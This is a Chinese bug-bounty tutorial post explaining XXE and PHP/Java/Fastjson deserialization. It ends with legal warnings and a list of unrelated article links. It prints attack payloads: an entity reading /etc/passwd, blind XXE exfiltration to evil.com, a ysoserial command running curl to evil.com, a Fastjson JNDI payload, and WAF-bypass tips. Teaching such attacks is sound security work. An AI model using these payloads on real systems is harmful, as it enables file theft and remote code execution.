当前位置: 首页 > news >正文

【SRC漏洞挖掘系列】第09期:XXE与反序列化 —— 当XML和Java开始“吃”代码

上期回顾:我们用 SSRF 借刀杀人,打进了内网。本期难度直线上升,我们将挑战两个让程序员闻风丧胆的“贵族漏洞”——XXE​ 和反序列化

这两个漏洞一旦爆发,通常不是“拿个Shell”那么简单,而是直接接管服务器集群。☠️


一、XXE:XML的“胃口”太大了

1. 什么是 XXE?

XXE (XML External Entity Injection),即 XML 外部实体注入。

想象一下,你给服务器递了一张“菜单(XML)”,服务器不仅照单全收,还把你菜单里写的“去把老板保险柜密码念一遍”​ 也给执行了。

核心痛点:服务器解析 XML 时,默认允许加载外部实体

2. 实战案例:读取服务器密码

很多老旧的 OA 系统、支付接口还在用 XML 传输数据。

原始请求

http

POST /api/pay HTTP/1.1 Content-Type: application/xml <user> <name>Tom</name> <money>100</money> </user>

攻击 Payload

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> <money>100</money> </user>

发生了什么?

  1. <!ENTITY xxe SYSTEM "file:///etc/passwd">:定义了一个实体xxe,内容是读取系统文件/etc/passwd

  2. &xxe;:在 XML 中引用这个实体。

  3. 结果:服务器返回的数据里,包含了 Linux 系统的所有用户账户信息。

3. Blind XXE(无回显的绝杀)

如果服务器不把解析结果显示在页面上怎么办?把数据外带出去。

攻击思路

  1. 你有一台公网服务器evil.com

  2. 诱导目标服务器加载http://evil.com/?data=读取到的机密文件

Payload 示意

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd "<!ENTITY &#x25; exfiltrate SYSTEM 'http://evil.com/?data=%file;'>">

二、反序列化:给程序“下毒”

1. 什么是反序列化?

序列化:把对象(Object)变成字符串(方便传输)。

反序列化:把字符串变回对象(恢复状态)。

漏洞原理

你买了一盒乐高(序列化数据),说明书被坏人换成了“组装成炸弹”的步骤(恶意构造的 Payload)。你照着说明书拼,结果家里炸了。

2. PHP 反序列化(魔术方法)

PHP 中有一些特殊的函数(Magic Methods),比如__wakeup()(醒来时执行)、__destruct()(销毁时执行)。

危险代码

class User { public $name; function __destruct() { system($this->name); // 销毁时执行系统命令 } }

Payload 构造

我们只需要构造一个字符串,让$name等于whoami

O:4:"User":1:{s:4:"name";s:6:"whoami";}

结果:程序结束时调用__destruct(),执行了system('whoami')

3. Java 反序列化(重灾区)

Java 的 Commons-Collections 组件曾经是“漏洞之王”。

特点:不需要懂代码,直接用工具(如ysoserial)生成 Payload。

java -jar ysoserial.jar CommonsCollections5 "curl http://evil.com" > payload.bin

把这个payload.bin发送给目标,目标就会反向连接到你的服务器。


三、SRC 实战中的“骚操作”

漏洞类型

利用难度

危害程度

常见位置

XXE

Office文档解析、SOAP接口、老旧支付

PHP反序列化

极高

缓存系统、Session、框架内核

Java反序列化

毁灭级

Weblogic, JBoss, Fastjson

Fastjson 案例

曾经风靡一时的Fastjson 1.2.24

Payload 只需指定@type,服务器就会去加载你指定的恶意类。

json

{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://evil.com/Exploit", "autoCommit": true }

四、绕过与防御(简版)

XXE 绕过

  • 编码绕过:使用 UTF-16BE 编码,绕过 WAF 对<!ENTITY的检测。

  • 内网攻击:结合 SSRF,利用 XXE 去攻击内网的 Redis。

反序列化绕过

  • 白名单绕过:寻找新的 Gadget(利用链)。

  • 长度绕过:利用phar://协议触发反序列化。


五、互动与思考

💬 互动话题

各位师傅,你们在挖洞时遇到过“反序列化”漏洞吗?

是那种一打一个准的 Fastjson,还是让人头秃的 PHP POP 链?欢迎分享你的“链子”!⛓️


⚠️ 法律红线警示

  1. 严禁在实际系统中尝试读取/etc/passwd或任何系统文件,证明漏洞存在即可。

  2. 严禁使用ysoserial或类似工具向未授权目标发送 Payload,这属于非法入侵

  3. 严禁利用 XXE 探测内网或攻击 Redis(除非是明确授权的靶场)。

  4. 测试原则

    • XXE:使用file:///etc/hostnamephp://filter读取非敏感文件。

    • 反序列化:仅测试是否存在报错回显,不要执行系统命令。

    • 所有实验请在Vulhub​ 或本地 Docker 靶场中进行。

      代码审计是门艺术,但利用漏洞必须是守法的行为。切勿以身试法。​ 🛡️

下一期,我们将进入“GraphQL & API 安全”—— 现代 API 的那些坑”。想知道怎么用一条查询语句拖库吗?敬请期待!🚀

http://www.jsqmd.com/news/886563/

相关文章:

  • 一个取巧但有效的方法:利用PAT报错信息反向“猜”出测试数据(附Python二分脚本)
  • 2026长沙智能家居品牌实测,这些本地老牌值得选
  • 航空螺栓螺母表面油污清洁度检测仪为何至关重要-西恩士 - 工业干货社
  • 电信运营商每月处理海量工单,如何不再出错?基于AI Agent的端到端自动化解决方案
  • # 2026年陕西热门高考补习学校盘点:哪家提分效果好?(附选型指南) - 科技焦点
  • 小学期十二周
  • 2026会计人员能力及学习提升方向指导
  • GEO生成引擎优化:当AI成为信息分发的主角,品牌如何抢占对话窗口?
  • 从游戏引擎到仿真平台:手把手教你用AirSim+UE4搭建你的第一个无人机/自动驾驶仿真环境
  • 四川小自考畜牧兽医专业代码是什么?有哪些学校可以选择?推荐这家靠谱助学点报名! - 知名不具123
  • # 2026年西安性价比高的高三补习班推荐:基于价格与师资、效果测评 - 科技焦点
  • 特斯拉与SpaceX软件开发体系
  • 欧姆龙PLC通过以太网模块实现Web远程诊断,故障排查时间缩短70%
  • 05华夏之光永存:150吨级火星EDL进入下降着陆全链条解决方案
  • 2026年ChatBI产品TOP5深度测评:行业落地能力与问数准确率全维度对比 - 科技焦点
  • Windows 11终极优化秘籍:如何使用Win11Debloat彻底清理系统垃圾和隐私追踪
  • Godot4 2D游戏开发避坑指南:TileMap绘制、节点顺序与相机设置的三个常见问题
  • CANoe诊断测试没CDD文件怎么办?手把手教你用Fault Memory窗口和CAPL脚本读取解析DTC故障码
  • ssm207基于SSM的视频播放系统的设计与实现+vue(文档+源码)_kaic
  • # 西安高考冲刺班学校推荐:2026年TOP5机构选型指南 - 科技焦点
  • Allure报告不只是好看:用@allure.feature和step让你的Python自动化测试用例更规范、更好维护
  • 电力行业设备台账与巡检报告,何时能告别手工?基于实在Agent的端到端方案
  • 2026年了,GEO生成引擎优化到底在优化什么?一文讲透底层逻辑与实战框架
  • DragonBones与Godot集成:骨骼动画的可编程化实践
  • 西恩士-航空螺栓螺母紧固件表面油污清洁度分析设备 - 工业干货社
  • 基于PPG信号与逻辑回归的急性脑卒中院前AI分诊模型研究
  • AI 搜索时代谁能帮你抢占第一推荐位?2026 苏州效果好的 GEO 优化机构实力榜发布 - GEO优化
  • 网络配置工具类详解
  • 毕业设计:基于mvc的高校办公室行政事务管理系统设计与实现(源码)
  • 集成学习在房价预测中的应用:从原理到实战调优